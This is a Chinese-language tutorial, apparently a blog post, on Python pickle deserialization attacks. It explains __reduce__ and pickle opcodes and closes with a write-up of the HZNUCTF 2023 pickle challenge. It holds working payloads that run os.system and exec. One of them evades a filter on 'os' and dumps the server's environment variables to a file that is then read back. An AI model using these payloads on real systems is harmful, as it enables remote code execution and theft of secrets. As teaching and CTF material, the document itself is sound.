pickle反序列化
pickle简介:
与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)
| pickle.dumps() |
序列化 |
将 Python 对象转换为字节流 |
| pickle.loads() |
反序列化 |
将字节流恢复为 Python 对象 |
1 2 3 4 5 6 7 8 9 10
| import pickle
data = {"name": "Alice", "age": 30} serialized = pickle.dumps(data) print(serialized)
deserialized = pickle.loads(serialized) print(deserialized)
|

可序列化的对象
None 、 True 和 False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可封存对象的集合,包括 tuple、list、set 和 dict
- 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
__dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)
__reduce__()函数
当一个类定义了 __reduce__ 方法,pickle 在序列化时会调用它,该方法应返回一个元组,告诉 pickle 如何重建对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import pickle
class MyClass: def __reduce__(self): return (print, ("Hello from __reduce__!")) obj = MyClass() pickle.loads(pickle.dumps(obj))
元组的含义(可以理解为第一个参数是函数,后面的参数都是该函数的参数) (print, ("Hello from __reduce__!",)) 是一个元组,包含两个元素:
第一个元素:print(函数对象)
第二个元素:("Hello from __reduce__!")(参数元组)
|
漏洞原理:
Pickle 反序列化时,会执行 __reduce__ 返回的任何可调用对象。如果攻击者可以控制反序列化的数据,就能构造恶意 __reduce__ 返回任意函数(如 os.system),实现远程代码执行
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13
| import pickle import os
class Evil: def __reduce__(self): return (os.system, ("whoami",))
evil_payload = pickle.dumps(Evil())
pickle.loads(evil_payload)
|

pickle过程详解
- pickle解析依靠Pickle Virtual Machine (PVM)进行。
- PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
- 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
. 停止。最终留在栈顶的值将被作为反序列化对象返回。
- 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
- memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以
key-value 的形式储存在memo中,以便后来使用。
opcode:(Operation Code,操作码)是指令的二进制表示,告诉计算机”要执行什么操作”
在 Python pickle 的语境中,opcode 是 pickle 协议中的单字节指令,用于指导反序列化过程如何重建对象
opcode版本
- pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本
1 2 3 4 5 6 7 8 9 10 11 12 13
| import pickle
a={'1': 1, '2': 2}
print(f'# 原变量:{a!r}') for i in range(4): print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.' pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.' pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.' pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
|
1 2 3 4 5 6 7 8 9
| b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
|
| Opcode |
Mnemonic |
Data type loaded onto the stack |
Example |
| S |
STRING |
String |
S’foo’\n |
| V |
UNICODE |
Unicode |
Vfo\u006f\n |
| I |
INTEGER |
Integer |
I42\n |
| … |
… |
… |
… |
使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
1 2 3 4
| import pickletools
data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03." pickletools.dis(data)
|

漏洞利用:
利用思路
- 任意代码执行或命令执行
- 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的
初步认识:pickle EXP的简单demo
1 2 3 4 5 6 7 8 9 10 11 12
| import pickle import os
class genpoc(object): def __reduce__(self): s = """echo test >poc.txt""" # 要执行的命令 return os.system, (s,) # reduce函数必须返回元组或字符串
e = genpoc() poc = pickle.dumps(e)
print(poc) # 此时,如果 pickle.loads(poc),就会执行命令
|

变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13
| import pickle
key1 = b'321' key2 = b'123' class A(object): def __reduce__(self): return (exec,("key1=b'1'\nkey2=b'2'",))
a = A() pickle_a = pickle.dumps(a) print(pickle_a) pickle.loads(pickle_a) print(key1, key2)
|

例题
[HZNUCTF 2023 preliminary]pickle

整理后如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| 源码:
import base64 import pickle from flask import Flask, request
app = Flask(__name__)
@app.route('/') def index(): with open('app.py', 'r') as f: return f.read()
@app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") decoded = base64.b64decode(payload) filtered = decoded.replace(b'os', b'') pickle.loads(filtered) return "ganbadie!"
@app.route('/readFile', methods=['GET']) def readFile(): filename = request.args.get('filename') safe_filename = filename.replace("flag", "????") with open(safe_filename, 'r') as f: return f.read()
if __name__ == '__main__': app.run(host='0.0.0.0')
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| 执行流程:
从 URL 参数 payload 获取用户输入
对输入进行 Base64 解码
将解码后的内容中的 os 字符串删除
对处理后的数据进行 pickle 反序列化
漏洞:pickle.loads() 可以执行任意代码!攻击者可以构造恶意数据,在服务器上执行系统命令
绕过难点:代码会删除 os 字符串,导致不能直接使用 os.system 或 os.popen
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| exp: import base64 import pickle import urllib.parse
class A(object): def __reduce__(self): # 使用 eval 和字符串拼接完美绕过 b'os' 过滤 # 执行命令导出环境变量到 a.txt return (eval, ("__import__('o'+'s').system('env > a.txt')",))#(使用内置函数eval,调用os模块中的system()函数)
if __name__ == '__main__': a = A() # 序列化 raw_pickle = pickle.dumps(a)
# Base64 编码并转为字符串 b64_payload = base64.b64encode(raw_pickle).decode()
# URL 编码,保护 payload 在 HTTP GET 请求中不被破坏(此时直接进行提交的话url会将base字符串中的+编码为空格,导致提交失败,所以这里需要进行一次url编码进行保护) safe_payload = urllib.parse.quote(b64_payload)
print(f"/calc?payload={safe_payload}") payload: gAWVRQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwpX19pbXBvcnRfXygnbycrJ3MnKS5zeXN0ZW0oJ2VudiA%2BIGEudHh0JymUhZRSlC4%3D
|

输出ganbadie!说明执行成功
- 5.利用
/readFile?filename=a.txt,读取a.txt(环境变量)
